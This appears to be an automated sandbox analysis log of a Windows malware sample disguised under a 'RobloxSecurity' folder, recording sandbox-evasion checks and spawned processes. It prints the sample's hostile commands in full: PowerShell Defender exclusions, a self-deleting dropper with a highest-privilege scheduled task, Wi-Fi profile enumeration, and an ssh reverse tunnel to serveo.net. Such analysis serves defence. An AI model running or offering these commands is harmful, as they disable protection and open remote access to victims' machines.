Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597970s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597844s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597734s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597625s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597515s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597406s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597297s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597187s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -597077s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596953s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596843s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596734s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596625s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596515s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596406s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596297s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596187s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -596078s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -595969s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7444	Thread sleep time: -582622s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 5052	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 5052	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 5052	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 5052	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 5052	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 5052	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 7432	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 7432	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 7432	Thread sleep time: -2767011611056431s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 7432	Thread sleep time: -5534023222112862s >= -30000s
Source: C:\Windows\System32\OpenSSH\ssh.exe TID: 7432	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 7732	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 128812	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 328804	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe TID: 491792	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_ComputerSystem

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Last function: Thread delayed
Source: C:\Windows\System32\OpenSSH\ssh.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\OpenSSH\ssh.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 600000	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599875	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599766	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599641	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599532	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599407	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599297	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599188	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599063	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598938	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598813	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598688	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598578	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598469	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598344	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598235	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598109	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598000	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597891	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597781	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597665	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597563	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597438	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597328	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597219	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597094	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596985	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596860	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596735	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596610	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596485	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596360	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596235	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596110	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595860	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595735	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595610	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595485	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595360	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595235	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 600000
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599875
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599765
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599655
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599546
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599437
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599328
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599218
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 599107
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598984
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598875
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598765
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598656
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598546
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598437
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598328
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598218
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 598107
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597970
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597844
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597734
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597625
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597515
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597406
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597297
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597187
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 597077
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596953
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596843
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596734
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596625
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596515
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596406
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596297
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596187
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 596078
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 595969
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 582622
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\System32\OpenSSH\ssh.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Thread delayed: delay time: 922337203685477

Source: Amcache.hve.41.dr	Binary or memory string: VMware
Source: Amcache.hve.41.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.41.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.41.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.41.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.41.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: vkefq4cv.oil.exe, 00000012.00000002.2063310153.0000010DD583F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllR
Source: Amcache.hve.41.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.41.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: vkefq4cv.oil.exe, 0000002A.00000002.2314304033.0000017A7149E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.41.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.41.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.41.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.41.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: jqOHOuPMJP.exe, 00000000.00000002.1797186606.0000000000FB0000.00000004.00000020.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000000B.00000002.4115442750.000001B8A9D61000.00000004.00000020.00020000.00000000.sdmp, ssh.exe, 00000023.00000002.4114412277.0000019B798EF000.00000004.00000020.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002A.00000002.2314304033.0000017A7149E000.00000004.00000020.00020000.00000000.sdmp, vkefq4cv.oil.exe, 0000002D.00000002.3543453931.00000167CFE24000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: ssh.exe, 00000021.00000002.4113726250.00000292607CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll#
Source: Amcache.hve.41.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.41.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.41.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.41.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: jqOHOuPMJP.exe, 00000000.00000002.1817862177.0000000003DAA000.00000004.00000800.00020000.00000000.sdmp, vkefq4cv.oil.exe, 00000004.00000000.1791180656.000001F995EB2000.00000002.00000001.01000000.00000008.sdmp, vkefq4cv.oil.exe.0.dr, vkefq4cv.oil.exe.4.dr	Binary or memory string: qemu'H
Source: Amcache.hve.41.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.41.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.41.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.41.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.41.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.41.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.41.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.41.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.41.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.41.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.41.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.41.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: vkefq4cv.oil.exe, 0000002C.00000002.3000161085.000001EC7F363000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll^^
Source: Amcache.hve.41.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process queried: DebugPort

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Adds a directory exclusion to Windows Defender

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user'
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user'			Jump to behavior

Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "Add-MpPreference -ExclusionPath 'C:\Users\user\Desktop\jqOHOuPMJP.exe'; Add-MpPreference -ExclusionProcess 'jqOHOuPMJP'; Add-MpPreference -ExclusionPath 'C:\Windows'; Add-MpPreference -ExclusionPath 'C:\Users\user'	Jump to behavior
Source: C:\Users\user\Desktop\jqOHOuPMJP.exe	Process created: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\System32\cmd.exe" /C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f && DEL /F /S /Q /A "C:\Users\user\AppData\Local\Temp\vkefq4cv.oil.exe" &&START "" "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\timeout.exe timeout /t 3	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\schtasks.exe schtasks /create /tn "vkefq4cv.oil" /sc MINUTE /tr "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe" /rl HIGHEST /f	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe "C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal	Jump to behavior
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show networks mode=bssid
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr "SSID BSSID Signal"
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show profiles\|findstr /R /C:"[ ]:[ ]
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\cmd.exe cmd.exe" /c chcp 65001 && netsh wlan show networks mode=bssid \| findstr "SSID BSSID Signal
Source: C:\Users\user\AppData\Local\RobloxSecurity\vkefq4cv.oil.exe	Process created: C:\Windows\System32\OpenSSH\ssh.exe "ssh.exe" -o "StrictHostKeyChecking=no" -R 80:127.0.0.1:6787 serveo.net
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\netsh.exe netsh wlan show profiles
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\findstr.exe findstr /R /C:"[ ]:[ ]"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\chcp.com chcp 65001
